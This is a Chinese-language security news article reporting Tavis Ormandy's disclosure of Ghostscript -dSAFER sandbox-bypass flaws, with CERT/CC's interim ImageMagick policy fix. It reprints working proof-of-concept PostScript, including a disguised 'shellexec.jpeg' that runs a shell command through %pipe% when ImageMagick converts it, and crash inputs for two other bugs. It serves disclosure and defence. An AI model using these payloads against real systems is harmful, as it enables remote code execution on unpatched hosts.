Ghostscript被发现存在多个安全漏洞

Google Project Zero安全研究员Tavis Ormandy公布了新发现的Ghostscript漏洞的细节信息。Ghostscript是Adobe PostScript和PDF的解释语言,目前广泛应用在各类应用程序中(例如ImageMagick、Evince、GIMP、PDF阅读器等)。

 

漏洞可导致远程代码执行

攻击者可利用恶意PostScript、PDF、EPS或XPS文件触发漏洞,当前这些漏洞还未分配CVE编号,同时也没有官方的安全补丁。

此次漏洞发现者此前也在Ghostscript中发现过高危漏洞,去年他发现的CVE-2017-8291还未被黑客利用攻击加密货币交易平台,这也是今年他发现的首个Ghostscript高危漏洞。

以下为漏洞简介:

1./invalidaccess 恢复失败后会结束,可控制错误处理部分

$ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null* GS>*legal* GS>*{ null restore } stopped { pop } if* GS>*legal* GS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops* GS<1>*showpage* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2.setcolor可通过setpattern间接调用且未进行检查

$ *gs -q -sDEVICE=ppmraw -dSAFER* GS>*<< /Whatever 16#414141414141 >> setpattern* Segmentation fault

3.LockDistillerParams布尔值未进行类型检查

$ *gs -q -sDEVICE=ppmraw -dSAFER* GS>*<< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams* Segmentation fault

4. .tempfile权限管理未生效

Tavis Ormandy也已经在Ubuntu和CentOS上确认了漏洞:

Ubuntu: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 CentOS: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

 

CERT/CC发布安全通告及临时修复措施

CERT/CC发布安全通告,对此漏洞进行预警,其中漏洞描述为“-dSAFER沙箱绕过漏洞”,给出的临时解决方案是在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器。

<policy domain =“coder”rights =“none”pattern =“PS”/> <policy domain =“coder”rights =“none”pattern =“EPS”/> <policy domain =“coder”rights =“none” pattern =“PDF”/> <policy domain =“coder”rights =“none”pattern =“XPS”/>

目前Artifex Software,ImageMagick,Redhat,Ubuntu已经说明会受到此漏洞影响,CoreOS宣布不受影响,其他平台暂时未对此漏洞进行说明。

 

参考链接

https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

http://openwall.com/lists/oss-security/2018/08/21/2

https://0day.city/0day-186343.html

https://www.bleepingcomputer.com/news/security/no-patch-available-yet-for-new-major-vulnerability-in-ghostscript-interpreter/

https://www.kb.cert.org/vuls/id/332928

文章原文链接:https://www.anquanke.com/post/id/157380